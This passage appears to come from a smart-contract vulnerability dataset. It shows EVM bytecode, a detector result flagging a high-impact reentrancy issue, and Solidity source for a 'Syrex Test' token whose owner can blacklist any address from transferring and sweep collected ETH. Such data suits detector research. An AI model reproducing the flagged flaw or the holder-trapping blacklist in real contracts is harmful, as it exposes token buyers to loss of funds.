0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610561578063dd62ed3e14610581578063ea1644d5146105c7578063f2fde38b146105e757600080fd5b8063a2a957bb146104dc578063a9059cbb146104fc578063bfd792841461051c578063c3c8cd801461054c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104595780638f9a55c01461047957806395d89b411461048f57806398a5c315146104bc57600080fd5b80637d1db4a5146103f85780637f2feddc1461040e5780638da5cb5b1461043b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038e57806370a08231146103a3578063715018a6146103c357806374010ece146103d857600080fd5b8063313ce5671461031257806349bd5a5e1461032e5780636b9990531461034e5780636d8aa8f81461036e57600080fd5b80631694505e116101ab5780631694505e1461027f57806318160ddd146102b757806323b872dd146102dc5780632fd689e3146102fc57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610607565b005b34801561020a57600080fd5b5060408051808201909152601681527510591bdc1d081048155adc985a5b9a585b8811da5c9b60521b60208201525b6040516102469190611a30565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611a85565b6106a6565b6040519015158152602001610246565b34801561028b57600080fd5b5060145461029f906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102c357600080fd5b50670de0b6b3a76400005b604051908152602001610246565b3480156102e857600080fd5b5061026f6102f7366004611ab1565b6106bd565b34801561030857600080fd5b506102ce60185481565b34801561031e57600080fd5b5060405160098152602001610246565b34801561033a57600080fd5b5060155461029f906001600160a01b031681565b34801561035a57600080fd5b506101fc610369366004611af2565b610726565b34801561037a57600080fd5b506101fc610389366004611b1f565b610771565b34801561039a57600080fd5b506101fc6107b9565b3480156103af57600080fd5b506102ce6103be366004611af2565b610804565b3480156103cf57600080fd5b506101fc610826565b3480156103e457600080fd5b506101fc6103f3366004611b3a565b61089a565b34801561040457600080fd5b506102ce60165481565b34801561041a57600080fd5b506102ce610429366004611af2565b60116020526000908152604090205481565b34801561044757600080fd5b506000546001600160a01b031661029f565b34801561046557600080fd5b506101fc610474366004611b1f565b6108c9565b34801561048557600080fd5b506102ce60175481565b34801561049b57600080fd5b506040805180820190915260048152634141554760e01b6020820152610239565b3480156104c857600080fd5b506101fc6104d7366004611b3a565b610911565b3480156104e857600080fd5b506101fc6104f7366004611b53565b610940565b34801561050857600080fd5b5061026f610517366004611a85565b61097e565b34801561052857600080fd5b5061026f610537366004611af2565b60106020526000908152604090205460ff1681565b34801561055857600080fd5b506101fc61098b565b34801561056d57600080fd5b506101fc61057c366004611b85565b6109df565b34801561058d57600080fd5b506102ce61059c366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506101fc6105e2366004611b3a565b610a80565b3480156105f357600080fd5b506101fc610602366004611af2565b610aaf565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161063190611c42565b60405180910390fd5b60005b81518110156106a25760016010600084848151811061065e5761065e611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a81611ca3565b91505061063d565b5050565b60006106b3338484610b99565b5060015b92915050565b60006106ca848484610cbd565b61071c843361071785604051806060016040528060288152602001611dbd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f9565b610b99565b5060019392505050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161063190611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161063190611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ee57506013546001600160a01b0316336001600160a01b0316145b6107f757600080fd5b4761080181611233565b50565b6001600160a01b0381166000908152600260205260408120546106b79061126d565b6000546001600160a01b031633146108505760405162461bcd60e51b815260040161063190611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c45760405162461bcd60e51b815260040161063190611c42565b601655565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161063190611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161063190611c42565b601855565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161063190611c42565b600893909355600a91909155600955600b55565b60006106b3338484610cbd565b6012546001600160a01b0316336001600160a01b031614806109c057506013546001600160a01b0316336001600160a01b0316145b6109c957600080fd5b60006109d430610804565b9050610801816112f1565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161063190611c42565b60005b82811015610a7a578160056000868685818110610a2b57610a2b611c77565b9050602002016020810190610a409190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7281611ca3565b915050610a0c565b50505050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161063190611c42565b601755565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161063190611c42565b6001600160a01b038116610b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610631565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610631565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610631565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610631565b6001600160a01b038216610d835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610631565b60008111610de55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610631565b6000546001600160a01b03848116911614801590610e1157506000546001600160a01b03838116911614155b156110f257601554600160a01b900460ff16610eaa576000546001600160a01b03848116911614610eaa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610631565b601654811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610631565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3e57506001600160a01b03821660009081526010602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610631565b6015546001600160a01b0383811691161461101b5760175481610fb884610804565b610fc29190611cbe565b1061101b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610631565b600061102630610804565b60185460165491925082101590821061103f5760165491505b8080156110565750601554600160a81b900460ff16155b801561107057506015546001600160a01b03868116911614155b80156110855750601554600160b01b900460ff165b80156110aa57506001600160a01b03851660009081526005602052604090205460ff16155b80156110cf57506001600160a01b03841660009081526005602052604090205460ff16155b156110ef576110dd826112f1565b4780156110ed576110ed47611233565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113457506001600160a01b03831660009081526005602052604090205460ff165b8061116657506015546001600160a01b0385811691161480159061116657506015546001600160a01b03848116911614155b15611173575060006111ed565b6015546001600160a01b03858116911614801561119e57506014546001600160a01b03848116911614155b156111b057600854600c55600954600d555b6015546001600160a01b0384811691161480156111db57506014546001600160a01b03858116911614155b156111ed57600a54600c55600b54600d555b610a7a8484848461147a565b6000818484111561121d5760405162461bcd60e51b81526004016106319190611a30565b50600061122a8486611cd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006006548211156112d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610631565b60006112de6114a8565b90506112ea83826114cb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190611ced565b816001815181106113d8576113d8611c77565b6001600160a01b0392831660209182029290920101526014546113fe9130911684610b99565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611437908590600090869030904290600401611d0a565b600060405180830381600087803b15801561145157600080fd5b505af1158015611465573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114875761148761150d565b61149284848461153b565b80610a7a57610a7a600e54600c55600f54600d55565b60008060006114b5611632565b90925090506114c482826114cb565b9250505090565b60006112ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b600c5415801561151d5750600d54155b1561152457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154d876116a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157f90876116fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ae908661173f565b6001600160a01b0389166000908152600260205260409020556115d08161179e565b6115da84836117e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164d82826114cb565b82101561166957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116935760405162461bcd60e51b81526004016106319190611a30565b50600061122a8486611d7b565b60008060008060008060008060006116bd8a600c54600d5461180c565b92509250925060006116cd6114a8565b905060008060006116e08e878787611861565b919e509c509a509598509396509194505050505091939550919395565b60006112ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f9565b60008061174c8385611cbe565b9050838110156112ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610631565b60006117a86114a8565b905060006117b683836118b1565b306000908152600260205260409020549091506117d3908261173f565b30600090815260026020526040902055505050565b6006546117f590836116fd565b600655600754611805908261173f565b6007555050565b6000808080611826606461182089896118b1565b906114cb565b9050600061183960646118208a896118b1565b905060006118518261184b8b866116fd565b906116fd565b9992985090965090945050505050565b600080808061187088866118b1565b9050600061187e88876118b1565b9050600061188c88886118b1565b9050600061189e8261184b86866116fd565b939b939a50919850919650505050505050565b6000826118c0575060006106b7565b60006118cc8385611d9d565b9050826118d98583611d7b565b146112ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610631565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080157600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112ea81611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112ea82611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb757611cb7611c8d565b5060010190565b60008219821115611cd157611cd1611c8d565b500190565b600082821015611ce857611ce8611c8d565b500390565b600060208284031215611cff57600080fd5b81516112ea81611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5a5784516001600160a01b031683529383019391830191600101611d35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db757611db7611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acae0bf1eeda342f89ab6a1ff4407c232d0a76362c7bb9d9dc6ec2caefa70f3264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
531
0xd86b5322c95e1cb72b1ffe435725c55228bda2b2
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SYREXTEST is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e8 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Syrex Test"; string private constant _symbol = "SRX_LIVETEST"; uint private constant _decimals = 9; uint256 private _teamFee = 10; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Team fee cannot be larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external onlyOwner() { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612a2f565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612af9565b610697565b6040516101ec9190612b54565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612b7e565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612b99565b6106c5565b6040516102549190612b54565b60405180910390f35b34801561026957600080fd5b5061027261079e565b60405161027f9190612b7e565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612d34565b6107a7565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612d7d565b6108b8565b6040516102e59190612b54565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612de8565b61090e565b005b34801561032357600080fd5b5061032c6109e5565b005b34801561033a57600080fd5b5061035560048036038101906103509190612e41565b610ad2565b005b34801561036357600080fd5b5061037e60048036038101906103799190612d7d565b610b6b565b60405161038b9190612b54565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612d7d565b610bc1565b6040516103c89190612b7e565b60405180910390f35b3480156103dd57600080fd5b506103e6610c12565b005b3480156103f457600080fd5b506103fd610c9a565b60405161040a9190612e7d565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612de8565b610cc3565b005b34801561044857600080fd5b50610451610e77565b60405161045e9190612a2f565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612af9565b610eb4565b60405161049b9190612b54565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612d34565b610ed2565b005b3480156104d957600080fd5b506104e26110c9565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612de8565b6111b8565b005b34801561051957600080fd5b50610534600480360381019061052f9190612de8565b61128f565b005b34801561054257600080fd5b5061055d60048036038101906105589190612e98565b611629565b60405161056a9190612b7e565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612ed8565b6116b0565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612d7d565b61177a565b005b6105cd611872565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890612f51565b60405180910390fd5b600061064c30610bc1565b90506106578161187a565b50565b60606040518060400160405280600a81526020017f5379726578205465737400000000000000000000000000000000000000000000815250905090565b60006106ab6106a4611872565b8484611af3565b6001905092915050565b600067016345785d8a0000905090565b60006106d2848484611cbe565b610793846106de611872565b61078e85604051806060016040528060288152602001613afb60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610744611872565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ea9092919063ffffffff16565b611af3565b600190509392505050565b60006009905090565b6107af611872565b73ffffffffffffffffffffffffffffffffffffffff166107cd610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612f51565b60405180910390fd5b60005b81518110156108b45760006005600084848151811061084857610847612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ac90612fcf565b915050610826565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610916611872565b73ffffffffffffffffffffffffffffffffffffffff16610934610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190612f51565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109ed611872565b73ffffffffffffffffffffffffffffffffffffffff16610a0b610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890612f51565b60405180910390fd5b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ace573d6000803e3d6000fd5b5050565b610ada611872565b73ffffffffffffffffffffffffffffffffffffffff16610af8610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590612f51565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610c0b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224e565b9050919050565b610c1a611872565b73ffffffffffffffffffffffffffffffffffffffff16610c38610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8590612f51565b60405180910390fd5b610c9860006122bc565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ccb611872565b73ffffffffffffffffffffffffffffffffffffffff16610ce9610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612f51565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a8154817